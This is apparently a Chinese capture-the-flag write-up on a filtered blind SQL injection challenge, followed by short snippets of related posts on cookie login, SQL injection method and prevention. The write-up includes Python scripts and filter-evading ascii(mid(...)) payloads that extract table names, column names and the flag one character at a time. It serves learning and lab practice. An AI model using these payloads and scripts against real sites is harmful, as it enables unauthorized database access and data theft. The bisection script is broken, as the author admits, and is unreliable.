簡單注入,可真的是太「簡單」了
開啟頁面,檢視原始碼:
傳入id=1,依次輸入id=1,id=2,id=3有一些提示,說資料庫的長度大於20,而且flag就在這個庫內
開始檢測注入,,,,,
經過一系列的檢查之後發現:
/**/,空格,substr(),union,or,>(後面寫指令碼的時候才知道》過濾了,套~)等…都被過濾了
union都被過濾了,報錯注入實現不了,但是ascii函式和mid函式和hex函式沒有被過濾
mid函式和substr差不多,盲注跑指令碼!!!
說實話,這個指令碼真的寫得頭皮發麻,一路的坎坷!!!
先附上指令碼:
import requests
import io
import sys
'''url = "'and(length(database()))!='20"
s = requests.get(url)
s.encoding = 'utf-8'
content = s.content
#檢驗是否成功
if 'hello' in s.text:
s.encoding = 'gbk'
print(s.text)
#構造sql注入語句
and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),1,1))=***)and(length(database()))!='20
'''#-----------------------------二分法不能用,>被過濾了,套他的猴子!!!!----------------------------------
#-----------------------------所以這個二分指令碼寫得有沒有錯還不清楚。。。。。----------------------------------
'''url = "'and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))>%s)and(length(database()))!='20"
ss = ""
for i in range(1,30):
maxx = 126
minx = 32
flag = 0
while abs(maxx-minx)>1:
mid = (maxx + minx)/2
payload = url%(str(i),str(mid))
s = requests.get(payload)
if 'hello' in s.text:
flag = 1
min = mid
else:
max = mid
if(flag):
ss += chr(mid)
else:
break
print(ss)
'''#-----------------------------跑得太慢了,受不了-------------------------------
url = "'and(ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%s,1))=%s)and(length(database()))!='20"
url2 = "'and(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='do_y0u_l1ke_long_t4ble_name')),%s,1))=%s)and(length(database()))!='20"
url3 = "'and(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_y0u_l1ke_long_t4ble_name)),%s,1))=%s)and(length(database()))!='20"
ss = ""
for i in range(1,50):
for j in range(32,126):
payload = url3%(str(i),str(j))
#print(payload)
s = requests.get(payload)
if 'hello' in s.text:
ss += chr(j)
print(ss)
break
url是跑錶名的,url2是跑列名的,url3直接爆flag的,,,,,,截圖如下:
第一次編寫指令碼跑web,花的時間還不是一般的多,以後繼續學習,繼續努力!!!
美味的餅乾 moctf
這道題一開啟看到乙個登陸頁面,嘗試下sql注入 username admin password 1 1 發現頁面跳轉登陸成功!歡迎admin 除錯看見 再看響應發現有段很奇怪的cookie login zwuxmwniyje5mduyztqwyja3ywfjmgnhmdywyzizzwu 有點像ba...
簡單SQL注入
sql注入思路 找注入點 判斷是否為注入點 猜表名 猜欄位名 爆出字段內容 那麼何為注入點?有引數進行資料庫傳遞的都可判為注入點。以此url為例 xx.xx show.asp?id 1 其中id即為引數,如果此url用sql語句來表示的話 則向資料庫中進行查詢的語句為 select from sho...
簡單sql注入防範
1 判斷資料 2 對提交過來的資料,進行判斷 a 字元型,通過下面函式過濾 function checkstr str if isnull str then checkstr exit function end if str replace str,chr 0 checkstr replace st...